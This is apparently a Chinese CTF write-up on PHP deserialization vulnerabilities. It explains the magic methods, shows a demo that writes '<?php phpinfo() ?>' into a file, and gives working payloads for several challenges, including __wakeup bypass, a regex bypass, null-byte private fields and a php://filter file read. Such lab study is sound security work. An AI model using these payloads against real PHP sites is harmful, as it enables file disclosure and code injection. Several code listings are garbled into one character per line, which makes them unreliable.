什么是序列化
- 对象准换为字符串
- 持久保存
- 网络传输
举例:
$s = new Student();//创建一个对象
echo $s->getName()."</br>";//调用类方法
//serialize function
$s_serialize = serialize($s);//对象转化为字符串
print_r($s_serialize);//输出字符串
最后展现的结果呢
deelmind
O:7:"Student":1:{s:4:"name";s:8:"deelmind";}
至于什么意思:
O:object 对象
7:对象的长度
“Student”:对象的长度为7,那么这个对象是谁呢也就是Student
1:Student内有一个成员变量
s:String
4:长度
“name”:长度为4的对象是name
同理后面的内容:String类型,长度为8,对象是-deelmind;
变量以及变量名都转换为字符串
反序列化
也就是字符串转化为对象
S
t
u
d
e
n
t
=
′
O
:
7
:
"
S
t
u
d
e
n
t
"
:
1
:
s
:
4
:
"
n
a
m
e
"
;
s
:
8
:
"
d
e
e
l
m
i
n
d
"
;
′
;
/
/
Student = 'O:7:"Student":1:{s:4:"name";s:8:"deelmind";}'; //
Student=′O:7:"Student":1:s:4:"name";s:8:"deelmind";′;//Student = $_GET[‘s’];
s
u
n
s
e
r
i
a
l
i
z
e
=
u
n
s
e
r
i
a
l
i
z
e
(
s_unserialize= unserialize(
sunserialize=unserialize(Student);
print_r($s_unserialize);
echo “”;
反序列化漏洞也就是在执行反序列函数时,unserialize() 会检查是否存在一个 __wakeup()魔术方法
如果存在则会先调用__wakeup()方法在进行反序列化
可以再__wakeup()方法中对属性进行初始化或者改变。
可利用函数:
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__construct() //当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
function __wakeup(){
echo “__wakeup”."";
echo $this->name."";
$myfile=fopen("XLH11.php", "w") or die("Unable to open file!");//打开xlh11.php,如果不存在则关闭
fwrite($myfile,$this->name);//写入
fclose($myfile);//写入后关闭文件
echo "</br>";
}
写入phpinfo()
已经写入
$Student`` = ``'O:7:"Student":1:{s:4:"name";s:18:"<?php phpinfo() ?>";}'``;
当写入这样的一段函数,则会显示对方的一些信息
这里补充一个内容:
做题练习:
攻防世界unserialize3
进入页面看到这是一个关于xctf对象定义,以及__wakeup()
函数可想而知,这是一道PHP反序列化
由于wakeup()函数在执行unserialize()反序列化时会先调用,如果函数被调用就看不到flag,因此需要绕过这个函数,使对象数大于实际对象数就可以了,先将对象序列化后得到的字符串,传递给code就可以了
序列化对象:
构造payload:?code=O:4:"xctf":``**2**``:{s:4:"flag";s:3:"111";}
这里对象数要大于实际数
攻防世界Web_php_unserialize
是的,这又是一道PHP反序列化的题,在Demo对象中有一个file的字段,其中存储的是网页的某个php文件
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
代码中提示正确的答案存在于fl4g.php中,那么也就是说在Demo中有一个存在一个file的字段,字段存储的内容是:fl4g.php
序列化
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
然后继续
if (isset($_GET['var'])) { //GET型传参,参数是var $var = base64_decode($_GET['var']); //对参数进行base64编码 if (preg_match('/[oc]:\d+:/i', $var)) { //preg_match函数进行正则匹配,匹配的字符串是'/[oc]:\d+:/i' die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); }
其中'/[oc]:\d+:/i'也就是在不区分大小写的情况下匹配 “o:数字” 或者 "c:数字’ 的字符串。也就是说,如果我们直接把上述字符串传上去,会被过滤掉
第一步:绕过的方式是使用 “4” 的同义表示方法 “+4”
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
第二步:绕过wakeup函数使对象数大于实际数
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
第三步:进行base64编码
TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
payload:index.php?var=``TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=
[极客大挑战 2019]PHP
存在源码泄露,www.zip,拿到源代码,也可以对后台目录进行扫描
查看源码
class.php
<?php
include`` ``'flag.php'``;
error_reporting``(``0``);
class`` ``Name``{
``private`` ``$username`` = ``'nonono'``;
``private`` ``$password`` = ``'yesyes'``;
``public`` ``function`` ``__construct``(``$username``,``$password``){
``$this``->``username`` = ``$username``;
``$this``->``password`` = ``$password``;
}
``function`` ``__wakeup``(){
``$this``->``username`` = ``'guest'``;
}
``function`` ``__destruct``(){
``if`` (``$this``->``password`` != ``100``) {
``echo`` ``"</br>NO!!!hacker!!!</br>"``;
``echo`` ``"You name is: "``;
``echo`` ``$this``->``username``;``echo`` ``"</br>"``;
``echo`` ``"You password is: "``;
``echo`` ``$this``->``password``;``echo`` ``"</br>"``;
``die``();
}
``if`` (``$this``->``username`` === ``'admin'``) {
``global`` ``$flag``;
``echo`` ``$flag``;
}``else``{
``echo`` ``"</br>hello my friend~~</br>sorry i can't give you the flag!"``;
``die``();
}
}
}
?``>
index.php
<?php
``include`` ``'class.php'``;
``$select`` = ``$_GET``[``'select'``];
//创建一个
s
e
l
e
c
t
变
量
,
G
E
T
型
传
入
参
数
‘
‘
‘
select变量,GET型传入参数 ` ``
select变量,GET型传入参数‘‘‘res=
unserialize(@
$select);`//反序列化 `
?``>`
审计后题目的重点在于
function`` ``__destruct``(){
``if`` (``$this``->``password`` != ``100``) {``//password=100
``echo`` ``"</br>NO!!!hacker!!!</br>"``;
``echo`` ``"You name is: "``;
``echo`` ``$this``->``username``;``echo`` ``"</br>"``;
``echo`` ``"You password is: "``;
``echo`` ``$this``->``password``;``echo`` ``"</br>"``;
``die``();
}
``if`` (``$this``->``username`` === ``'admin'``) {``//username=admin
``global`` ``$flag``;
``echo`` ``$flag``;
解题思路
一、反序列化字符,其中username=‘admin’,password=100
二、绕过__wakeup函数(提交字符串时__wakeup函数会在Name类反序列时调用,只需要在Name对象销毁前使username=‘admin’,password=100就可以)
时对象数大于实际对象数就可以绕过
序列化:
O:4:"Name":``2``:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
将对象数改为3
payload:?select=``O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
错了。。。。有点懵
查看一下大佬的WP
发现在Name的两边有2个空字节,这是因为声明字段时采用的是private
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字
段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
所以我们只需要在Name两边加上%00就可以了
payload:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
这样就可以了
安洵杯 2019]easy_serialize_php
打开之后就可以看到源码
`<?php
f u n c t i o n = @ function = @ function=@_GET[‘f’];
function filter($img){
$filter_arr = array(‘php’,‘flag’,‘php5’,‘php4’,‘fl1g’);
f
i
l
t
e
r
=
′
/
′
.
i
m
p
l
o
d
e
(
′
∣
′
,
filter = '/'.implode('|',
filter=′/′.implode(′∣′,filter_arr).’/i’;
return preg_replace(
f
i
l
t
e
r
,
′
′
,
filter,'',
filter,′′,img);
}
if(KaTeX parse error: Expected '}', got 'EOF' at end of input: …ON){ unset(_SESSION);
}
$_SESSION[“user”] = ‘guest’;
$_SESSION[‘function’] =
f
u
n
c
t
i
o
n
;
e
x
t
r
a
c
t
(
function; extract(
function;extract(_POST);
if(!
f
u
n
c
t
i
o
n
)
e
c
h
o
′
<
a
h
r
e
f
=
"
i
n
d
e
x
.
p
h
p
?
f
=
h
i
g
h
l
i
g
h
t
f
i
l
e
"
>
s
o
u
r
c
e
c
o
d
e
<
/
a
>
′
;
i
f
(
!
function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!
function)echo′<ahref="index.php?f=highlightfile">sourcecode</a>′;if(!_GET[‘img_path’]){
$_SESSION[‘img’] = base64_encode(‘guest_img.png’);
}else{
S
E
S
S
I
O
N
[
′
i
m
g
′
]
=
s
h
a
1
(
b
a
s
e
6
4
e
n
c
o
d
e
(
_SESSION['img'] = sha1(base64_encode(
SESSION[′img′]=sha1(base64encode(_GET[‘img_path’]));
}
s
e
r
i
a
l
i
z
e
i
n
f
o
=
f
i
l
t
e
r
(
s
e
r
i
a
l
i
z
e
(
serialize_info = filter(serialize(
serializeinfo=filter(serialize(_SESSION));
if(
f
u
n
c
t
i
o
n
=
=
′
h
i
g
h
l
i
g
h
t
f
i
l
e
′
)
h
i
g
h
l
i
g
h
t
f
i
l
e
(
′
i
n
d
e
x
.
p
h
p
′
)
;
e
l
s
e
i
f
(
function == 'highlight_file'){ highlight_file('index.php'); }else if(
function==′highlightfile′)highlightfile(′index.php′);elseif(function == ‘phpinfo’){
eval(‘phpinfo();’); //maybe you can find something in here!
}else if($function == ‘show_image’){
u
s
e
r
i
n
f
o
=
u
n
s
e
r
i
a
l
i
z
e
(
userinfo = unserialize(
userinfo=unserialize(serialize_info);
echo file_get_contents(base64_decode($userinfo[‘img’]));
}`
首先根据提示进入?f=phpinfo页面
发现flag可能存在这个文件内
但是进不去,因此我们需要读取内容,继续查看源码
可见是先对
s
e
r
i
a
l
i
z
e
i
n
f
o
反
序
列
化
然
后
在
对
文
件
名
进
行
b
a
s
e
64
编
码
,
然
后
读
取
文
件
但
是
这
里
是
先
对
serialize_info反序列化然后在对文件名 进行base64编码,然后读取文件 但是这里是先对
serializeinfo反序列化然后在对文件名进行base64编码,然后读取文件但是这里是先对_SESSION进行序列化,然后在回到
i
m
g
函
数
内
进
行
过
滤
然
后
再
是
进
行
反
序
列
化
,
这
样
就
产
生
了
一
个
问
题
,
过
滤
函
数
会
替
换
掉
一
些
关
键
词
,
这
样
就
会
造
成
反
序
列
化
的
对
象
逃
逸
问
题
。
我
们
就
可
以
通
过
构
造
,
将
‘
img函数内进行过滤然后再是进行反序列化, 这样就产生了一个问题,过滤函数会替换掉一些关键词,这样就会造成反序列化的对象逃逸问题。我们就可以通过构造,将`
img函数内进行过滤然后再是进行反序列化,这样就产生了一个问题,过滤函数会替换掉一些关键词,这样就会造成反序列化的对象逃逸问题。我们就可以通过构造,将‘userinfo[‘img’]`的内容改为d0g3_f1ag.php的base64编码值,即可将d0g3_f1ag.php的内容读出来了。
BUU[网鼎杯 2020 青龙组]AreUSerialz
上源码
<?php
include``(``"flag.php"``);
highlight_file``(``__FILE__``);
class`` ``FileHandler`` {
``protected`` ``$op``;
``protected`` ``$filename``;
``protected`` ``$content``;
``function`` ``__construct``() {
``$op`` = ``"1"``;
``$filename`` = ``"/tmp/tmpfile"``;
``$content`` = ``"Hello World!"``;
``$this``->``process``();
}
``public`` ``function`` ``process``() {
``if``(``$this``->``op`` == ``"1"``) {``//使用弱类型比较==判断op的值是否等于字符串2,
``//如果为2,则执行read()方法与output()方法
``$this``->``write``();
} ``else`` ``if``(``$this``->``op`` == ``"2"``) {
``$res`` = ``$this``->``read``();
``$this``->``output``(``$res``);
} ``else`` {
``$this``->``output``(``"Bad Hacker!"``);
}
}
``private`` ``function`` ``write``() {
``if``(``isset``(``$this``->``filename``) && ``isset``(``$this``->``content``)) {
``if``(``strlen``((``string``)``$this``->``content``) > ``100``) {
``$this``->``output``(``"Too long!"``);
``die``();
}
``$res`` = ``file_put_contents``(``$this``->``filename``, ``$this``->``content``);
``if``(``$res``) ``$this``->``output``(``"Successful!"``);
``else`` ``$this``->``output``(``"Failed!"``);
} ``else`` {
``$this``->``output``(``"Failed!"``);
}
}
``private`` ``function`` ``read``() {``//read()方法中,使用file_get_contents()函数读取属性filename路径的文件
``$res`` = ``""``;
``if``(``isset``(``$this``->``filename``)) {
``$res`` = ``file_get_contents``(``$this``->``filename``);
}
``return`` ``$res``;
}
``private`` ``function`` ``output``(``$s``) {
``echo`` ``"[Result]: <br>"``;
``echo`` ``$s``;
}
``function`` ``__destruct``() {
``if``(``$this``->``op`` === ``"2"``)``//op使用强类型比较===判断this->op是否等于字符串2然后等于则变为1,
``$this``->``op`` = ``"1"``;
``$this``->``content`` = ``""``;
``$this``->``process``();``//执行process()方法
}
}
function`` ``is_valid``(``$s``) {
``for``(``$i`` = ``0``; ``$i`` < ``strlen``(``$s``); ``$i``++)
``if``(!(``ord``(``$s``[``$i``]) >= ``32`` && ``ord``(``$s``[``$i``]) <= ``125``))
``return`` ``false``;
``return`` ``true``;
}
if``(``isset``(``$_GET``{``'str'``})) { ``//首先通过GET方法获取字符串str,如果str中没有不可打印的字符,
``//则对str反序列化执行
``$str`` = (``string``)``$_GET``[``'str'``];
``if``(``is_valid``(``$str``)) {
``$obj`` = ``unserialize``(``$str``);
}
}
is_valid()
函数对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。
分析:
一、因此我们需要绕过process()
方法判断,令op不为1,_destruct()
函数中op=2则会转变为但__desturct函数里的是=== 等号强比较,process()是==弱比较,我们可以传入参数令op为2(只要op=2,这个是int整数型的2,那么op === “2” 则为False, op == "2"则为True,就可以进入read函数。)
二、传入的字符的ascii值要大于等于32且小于等于125,题目中的三个属性都是protected类型的
三、在read函数中,使用filename调用file_get_contents函数将文件内容赋值给$res输出。这里的filename是我们可控的,那么可以用php://filter伪协议读取文件。然后使用output函数输出。
构造payload:
但是结果是带有*
号的
前面其实以及遇到过类型的了,这是因为声明变量是使用的是protected,而protected权限的变量在序列化时会有%00*%00字符,%00字符的ASCII码为0,不在is_valid函数规定的32到125的范围内。可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。
<?php
class`` ``FileHandler``{
``public`` ``$op``=``2``;
``public`` ``$filename``=``"php://filter/read=convert.base64-encode/resource=flag.php"``;
``public`` ``$content``;
}
``$a`` = ``new`` ``FileHandler``();
``echo`` ``serialize``(``$a``);
?``>
构造payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
额。。。什么也没有怎么回事,查看源代码原来在里面呢!!
base64解密
得到flag:flag{bb98cf5c-bb01-4b65-8875-6f4ff5373306}